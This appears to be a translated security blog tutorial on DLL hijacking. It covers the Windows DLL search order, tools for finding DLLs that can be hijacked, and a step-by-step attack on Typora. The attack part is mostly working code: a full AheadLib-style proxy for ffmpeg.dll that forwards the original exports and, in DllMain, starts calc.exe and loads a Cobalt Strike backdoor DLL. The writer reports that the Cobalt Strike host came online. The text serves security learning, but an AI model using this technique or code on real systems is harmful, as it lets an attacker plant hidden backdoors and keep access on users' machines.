DLL hijacking & CS online host

DLL hijacking

What is a DLL file

Baidu Encyclopedia:

The full name of DLL is Dynamic Link Library, which is called “dynamic link file” in Chinese. In the Windows operating system, DLL is very important for program execution, because when the program is executed, it must be linked to the DLL file in order to run correctly. Some DLL files can be shared by many programs. Therefore, programmers can use DLL files to keep the program from being too huge. But when more and more programs are installed, there will be more and more DLL files. If the useless DLL files are not deleted when you delete the program, it will cause a burden on the system over time. DLL files and EXE files can also be generated by compiled languages, but DLL does not have a program startup entry, so DLL files are not executable.

For example: C language needs to introduce header files when executing the output program, and when an exe program is executed, it also needs to introduce DLL files to run normally.

DLL loading process

The directory where Windows searches for DLLs and the corresponding order (SafeDllSearchMode is enabled by default):

The default registry is: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode, its key value is 1

  1. The directory where the application corresponding to the process is located (can be understood as the program installation directory such as C:ProgramFilesuTorrent);
  2. System directory (i.e. %windir%system32);
  3. 16-bit system directory (i.e. %windir%system);
  4. Windows directory (i.e. %windir%);
  5. The current directory (the directory where a certain file to be run is located, such as C:DocumentsandSettingsAdministratorDesktoptest);
  6. Each directory in the PATH environment variable;

Windows7 or above

If the system no longer has SafeDllSearchMode and uses KnownDLLs, then all DLL files under this item will be prohibited from being called from the directory where the EXE itself is located, and can only be called from the system directory, that is, the SYSTEM32 directory. Its registry location:
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

The DLL specified by the \KnownDLLs registry entry is a DLL that has been loaded by the operating system and will not be searched and loaded by the application.

Tools used for DLL hijacking

Process Monitor

Process Monitor is an advanced Windows monitoring tool developed by Sysinternals that contains powerful monitoring and filtering functions. It can display file system, registry, process/thread activities in real time. It combines the functionality of two legacy Sysinternals tools, Filemon and Regmon, and adds a rich and non-destructive list of extensive enhanced filtering features, comprehensive event attributes (such as session ID and user name), reliable process information , full threading, stacking and integrated symbol support for each operation, simultaneous logging to a file, and more. Its unique and powerful features will make Process Monitor play an important role in your system troubleshooting and malware detection.

This tool can view which DLLs are called by the application

Tinder Sword

Automatic search tool

This tool needs to specify the application that needs to be found, and then check whether the program has a DLL file that can be exploited

https://github.com/sensepost/rattler

Aheadlib injection tool

To put it simply, this tool means that you find a dll file that can be used and import the file. This tool will automatically generate a cpp code for you. This cpp code essentially extracts the function name of the original dll and then references it. Come in, so don’t delete the original dll, but you need to modify it. For example, the original name is ffmpeg.dll and you need to modify it to ffmpegOrg.dll, and then in the vs editor Open and generate the cpp file, the specific steps will be explained in detail later.

Tool address: https://bbs.kanxue.com/thread-224408.htm

DLL hijacking

DLL hijacking is also called DLL injection. Normally, when a program loads a DLL file, it does not specify the DLL location, so the program searches for the DLL file according to the corresponding system rules. As mentioned in the “DLL loading process” above, DLL hijacking is essentially It uses a vulnerability in the DLL loading sequence to forge a DLL file and place it in the application directory. The DLL file contains the functions of a normal DLL file, but the attacker carries private goods and then executes the specified backdoor program. In general, Next, when the corresponding application calls the hijacked DLL file, the backdoor program will be executed.

DLL hijacking conditions

  • The DLL you want to hijack cannot be in the registry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

  • Its dll is the DLL loaded first by the EXE program, rather than relying on other DLLs to be loaded.

  • The DLL is indeed loaded into memory

You can use Process Monitor or Tinder to check which DLL calls the software has made.

Practice

Use Cobalt Strike to generate DLL files with backdoors

I won’t go into creating a listener here. It is also introduced in the knowledge base and generates dll files.

Then just save it. The name can be arbitrary, but the suffix must be dll. I named it test.dll and will use it later.

Looking for DLLs that can be hijacked

Taking Typora as an example, first use Tinder Sword to check which DLL files are called by Typora. It is found that an obvious ffmpeg.dll does not come from the system file, so it is even less likely to appear in the registry. From this, we can guess the dll. There may be a risk of being hijacked

Use Aheadlib to generate cpp code

Use Aheadlib to open the original dll file

Copy the generated cpp file

Generate DLL file

Open the vs editor, create a cpp project, the project name is ffmpeg, delete irrelevant files (the files marked in the picture below)

Click on the project–>ffmpeg properties–>c/c++–>Code generation–>Change the runtime library to multi-threading (/MT)

The precompiled header is changed to not use precompilation

Delete the code generated by the project and paste the copied cpp code into it. After pasting it in, if no changes are made, it will still have the same function as the original dll file without any changes. You need to manually add some execution code.

Code to pop up the calculator

STARTUPINFO si = {<!-- --> sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\Windows\\System32\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, & amp;si, & amp ;pi);

Load code for other dlls

LoadLibraryA("test.dll"); //Load a test.dll file

The final modified code is as follows. Please pay attention to the location where the code is added.

// head File
#include <Windows.h>


// export function
#pragma comment(linker, "/EXPORT:av_buffer_create=ffmpegOrg.av_buffer_create,@1")
#pragma comment(linker, "/EXPORT:av_buffer_get_opaque=ffmpegOrg.av_buffer_get_opaque,@2")
#pragma comment(linker, "/EXPORT:av_dict_count=ffmpegOrg.av_dict_count,@3")
#pragma comment(linker, "/EXPORT:av_dict_free=ffmpegOrg.av_dict_free,@4")
#pragma comment(linker, "/EXPORT:av_dict_get=ffmpegOrg.av_dict_get,@5")
#pragma comment(linker, "/EXPORT:av_dict_set=ffmpegOrg.av_dict_set,@6")
#pragma comment(linker, "/EXPORT:av_force_cpu_flags=ffmpegOrg.av_force_cpu_flags,@7")
#pragma comment(linker, "/EXPORT:av_frame_alloc=ffmpegOrg.av_frame_alloc,@8")
#pragma comment(linker, "/EXPORT:av_frame_clone=ffmpegOrg.av_frame_clone,@9")
#pragma comment(linker, "/EXPORT:av_frame_free=ffmpegOrg.av_frame_free,@10")
#pragma comment(linker, "/EXPORT:av_frame_unref=ffmpegOrg.av_frame_unref,@11")
#pragma comment(linker, "/EXPORT:av_free=ffmpegOrg.av_free,@12")
#pragma comment(linker, "/EXPORT:av_get_bytes_per_sample=ffmpegOrg.av_get_bytes_per_sample,@13")
#pragma comment(linker, "/EXPORT:av_get_cpu_flags=ffmpegOrg.av_get_cpu_flags,@14")
#pragma comment(linker, "/EXPORT:av_image_check_size=ffmpegOrg.av_image_check_size,@15")
#pragma comment(linker, "/EXPORT:av_init_packet=ffmpegOrg.av_init_packet,@16")
#pragma comment(linker, "/EXPORT:av_log_set_level=ffmpegOrg.av_log_set_level,@17")
#pragma comment(linker, "/EXPORT:av_malloc=ffmpegOrg.av_malloc,@18")
#pragma comment(linker, "/EXPORT:av_max_alloc=ffmpegOrg.av_max_alloc,@19")
#pragma comment(linker, "/EXPORT:av_new_packet=ffmpegOrg.av_new_packet,@20")
#pragma comment(linker, "/EXPORT:av_packet_alloc=ffmpegOrg.av_packet_alloc,@21")
#pragma comment(linker, "/EXPORT:av_packet_copy_props=ffmpegOrg.av_packet_copy_props,@22")
#pragma comment(linker, "/EXPORT:av_packet_free=ffmpegOrg.av_packet_free,@23")
#pragma comment(linker, "/EXPORT:av_packet_get_side_data=ffmpegOrg.av_packet_get_side_data,@24")
#pragma comment(linker, "/EXPORT:av_packet_unref=ffmpegOrg.av_packet_unref,@25")
#pragma comment(linker, "/EXPORT:av_rdft_calc=ffmpegOrg.av_rdft_calc,@26")
#pragma comment(linker, "/EXPORT:av_rdft_end=ffmpegOrg.av_rdft_end,@27")
#pragma comment(linker, "/EXPORT:av_rdft_init=ffmpegOrg.av_rdft_init,@28")
#pragma comment(linker, "/EXPORT:av_read_frame=ffmpegOrg.av_read_frame,@29")
#pragma comment(linker, "/EXPORT:av_rescale_q=ffmpegOrg.av_rescale_q,@30")
#pragma comment(linker, "/EXPORT:av_samples_get_buffer_size=ffmpegOrg.av_samples_get_buffer_size,@31")
#pragma comment(linker, "/EXPORT:av_seek_frame=ffmpegOrg.av_seek_frame,@32")
#pragma comment(linker, "/EXPORT:av_stream_get_first_dts=ffmpegOrg.av_stream_get_first_dts,@33")
#pragma comment(linker, "/EXPORT:av_stream_get_side_data=ffmpegOrg.av_stream_get_side_data,@34")
#pragma comment(linker, "/EXPORT:av_strerror=ffmpegOrg.av_strerror,@35")
#pragma comment(linker, "/EXPORT:avcodec_align_dimensions=ffmpegOrg.avcodec_align_dimensions,@36")
#pragma comment(linker, "/EXPORT:avcodec_alloc_context3=ffmpegOrg.avcodec_alloc_context3,@37")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_get=ffmpegOrg.avcodec_descriptor_get,@38")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_next=ffmpegOrg.avcodec_descriptor_next,@39")
#pragma comment(linker, "/EXPORT:avcodec_find_decoder=ffmpegOrg.avcodec_find_decoder,@40")
#pragma comment(linker, "/EXPORT:avcodec_flush_buffers=ffmpegOrg.avcodec_flush_buffers,@41")
#pragma comment(linker, "/EXPORT:avcodec_free_context=ffmpegOrg.avcodec_free_context,@42")
#pragma comment(linker, "/EXPORT:avcodec_get_name=ffmpegOrg.avcodec_get_name,@43")
#pragma comment(linker, "/EXPORT:avcodec_open2=ffmpegOrg.avcodec_open2,@44")
#pragma comment(linker, "/EXPORT:avcodec_parameters_to_context=ffmpegOrg.avcodec_parameters_to_context,@45")
#pragma comment(linker, "/EXPORT:avcodec_receive_frame=ffmpegOrg.avcodec_receive_frame,@46")
#pragma comment(linker, "/EXPORT:avcodec_send_packet=ffmpegOrg.avcodec_send_packet,@47")
#pragma comment(linker, "/EXPORT:avformat_alloc_context=ffmpegOrg.avformat_alloc_context,@48")
#pragma comment(linker, "/EXPORT:avformat_close_input=ffmpegOrg.avformat_close_input,@49")
#pragma comment(linker, "/EXPORT:avformat_find_stream_info=ffmpegOrg.avformat_find_stream_info,@50")
#pragma comment(linker, "/EXPORT:avformat_free_context=ffmpegOrg.avformat_free_context,@51")
#pragma comment(linker, "/EXPORT:avformat_open_input=ffmpegOrg.avformat_open_input,@52")
#pragma comment(linker, "/EXPORT:avio_alloc_context=ffmpegOrg.avio_alloc_context,@53")
#pragma comment(linker, "/EXPORT:avio_close=ffmpegOrg.avio_close,@54")


// Entry function
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\Windows\\System32\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, & amp;si, & amp ;pi);
LoadLibraryA("test.dll");
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}


Click Generate->Generate Solution to compile the program into a dll file

DLL hijacking

Put the dll generated by cs and the dll generated by vs into the directory of the application, usually the installation directory, and rename the original dll to ffmpegOrg. The renamed name is the name of the original dll plus Org

Run Typora, the calculator pops up, CS goes online, success!

Postscript

I don’t know why Typora ffmpeg.dll is executed multiple times every time I open it. It’s very strange. Anyone who knows can tell me.

References and citations:

Dynamic link library search order – Win32 application |Microsoft Learning

dll hijacking and application research

Detailed explanation of the latest dll hijacking

DLL Hijacking & amp; COM Hijacking ByPass UAC – Issue Interpretation

Super detailed dll hijacking + package phishing detailed tutorial

DLL hijacking vulnerability automated identification tool Rattler test

Detailed tutorial on package fishing

DLL hijacking vulnerability automated identification tool Rattler test

How to quickly complete DLL hijacking, maintain permissions, and restart online